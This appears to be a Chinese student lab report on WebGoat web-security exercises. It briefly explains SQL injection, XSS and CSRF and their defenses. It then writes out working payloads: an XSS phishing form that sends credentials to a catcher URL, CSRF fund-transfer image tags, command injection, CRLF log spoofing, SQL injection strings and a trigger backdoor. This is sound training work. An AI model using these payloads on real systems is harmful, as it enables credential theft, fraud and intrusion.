20145321 《网络对抗技术》 Web安全基础实践

20145321《网络对抗技术》 Web安全基础实践

基础问题回答

1.SQL注入攻击原理，如何防护？

SQL注入就是经过把SQL命令插入到“Web表单递交”或“输入域名”或“页面请求”的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

防护：不把机密信息明文存放，加密敏感信息；经过正则表达式，对用户的输入进行校验；不要使用管理员权限的数据库链接，为每一个应用使用单独的权限有限的数据库链接。

2.XSS攻击的原理，如何防护？

XSS是一种常常出如今web应用中的计算机安全漏洞，它容许恶意web用户将代码植入到提供给其它用户使用的页面中。

防护：检查用户输入的内容中是否有非法内容；在输入方面对用户提交的的内容进行可靠的输入验证。

3.CSRF攻击原理，如何防护？

CSRF是跨站请求伪造，是一种对网站的恶意利用，经过假装来自受信任用户的请求来利用受信任的网站。

防护：按期清理保存的cookie；尽可能不要在页面的连接中暴露用户隐私信息。

实验过程记录

webgoat

在终端输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat

在浏览器上访问localhost:8080/WebGoat

xss攻击

Phishing with XSS

这个题目咱们要在搜索框中输入XSS攻击代码，利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form，让受害人在咱们建立的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，而且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻击代码以下

</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单。输入用户名密码，点击登陆，WebGoat会将你输入的信息捕获并反馈给你

攻击成功

Stored XSS Attacks

咱们的目标是要建立非法的消息内容，能够致使其余用户访问时载入非预期的页面或内容，输入：<script>alert("20145321 attack succeed!");</script>

提交后，再次点击刚刚建立的帖子，成功弹出窗口，说明攻击成功

Reflected XSS Attacks

当咱们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展现给咱们看。这时若是咱们将带有攻击性的URL做为输入源，如输入<script>alert("20145321 attack succeed!");</script>，就会弹出如上个实验XSS存储攻击同样的对话框。

虽然效果和上一个存储型XSS实验的效果相似，可是二者所用的原理不同，存储型XSS是持久化的，代码是存储在服务器中，比较典型的例子就是上面所用的留言板，而这个实验中用的是反射型XSS攻击是非持久化的，应用的场景好比欺骗用户本身去点击连接才能触发XSS代码，也就是说它的代码是不存在服务器中的，因此通常来讲存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

咱们的目的是要写一个URL诱使其余用户点击，从而触发CSRF攻击，咱们能够以图片的的形式将URL放进Message框，这时的URL对其余用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。

咱们在message框中输入这样一串代码：<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>，注意这里面的Screen和menu的值每一个人的电脑可能不同，能够在当前页面的右边有个Parameters进行查看。

提交后，会在消息列表中看到一个新的消息，点击该消息，当前页面就会下载这个消息并显示出来，转走用户的4000元，从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

咱们要构造CSRF攻击，其包括了两个请求，一是转帐请求，二是确认转帐成功请求，即须要额外传递两个参数给服务器（transferFunds=4000，transferFunds=CONFIRM）

先在浏览器中手动输入URL：localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000进入确认转帐请求页面

点击了CONFIRM按钮以后，再在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM，成功转走了5000元

Injection Flaws练习

Command Injection

这个题是要求可以在目标主机上执行系统命令，咱们能够经过火狐浏览器下的一个扩展Firebug对源代码进行修改，例如在BackDoors.help旁边加上"& netstat -an & ipconfig" 。以后在下拉菜单中能看到咱们修改后的值。

选中修改后的值再点view，能够看到命令被执行，出现系统网络链接状况。

Numeric SQL Injection

咱们要经过注入SQL字符串的方式查看全部的天气数据，只要加上一个1=1这种永真式便可达到咱们的目的，依旧利用firebug，在任意一个值好比101旁边加上or 1=1

选中Columbia，点Go，能够看到全部天气数据

Log Spoofing

咱们输入的用户名会被追加到日志文件中，因此咱们可使用障眼法来使用户名为“admin”的用户在日志中显示“成功登陆”，在User Name文本框中输入zzy%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符。如图所示，攻击成功。

String SQL Injection

基于select语句构造SQL注入字符串，在文本框中输入' or 1=1 --

点Go，攻击成功，全部用户信息都被显示出来

LAB:SQL Injection(Stage 1:String SQL Injection)

以用户Neville登陆，在密码栏中输入' or 1=1 --进行SQL注入，可是登陆失败。查看网页源码，发现最多只容许输入8个字符。对字符长度进行修改，而后从新登陆，登陆成功

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

咱们仍是用上一题的办法先以用户名Larry登陆，登陆以后看到浏览员工信息的按钮是ViewProfile

在网页代码中分析一下这个按钮，发现这个地方是以员工ID做为索引传递参数的，咱们要达到经过Larry来浏览老板帐户信息的目的，通常来讲老板的工资都应该是最高的，因此把其中的value值改成101 or 1=1 order by salary desc --，这样老板的信息就会被排到第一个

以后就能够查看到老板的信息

Database Backdoors

实验目的是实现多条SQL语句的注入，在userid中输入101 or 1=1;--,经过了

接下来使用语句 101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145321@163.com' WHERE userid = NEW.userid建立一个后门，把表中全部的邮箱和用户ID都设为个人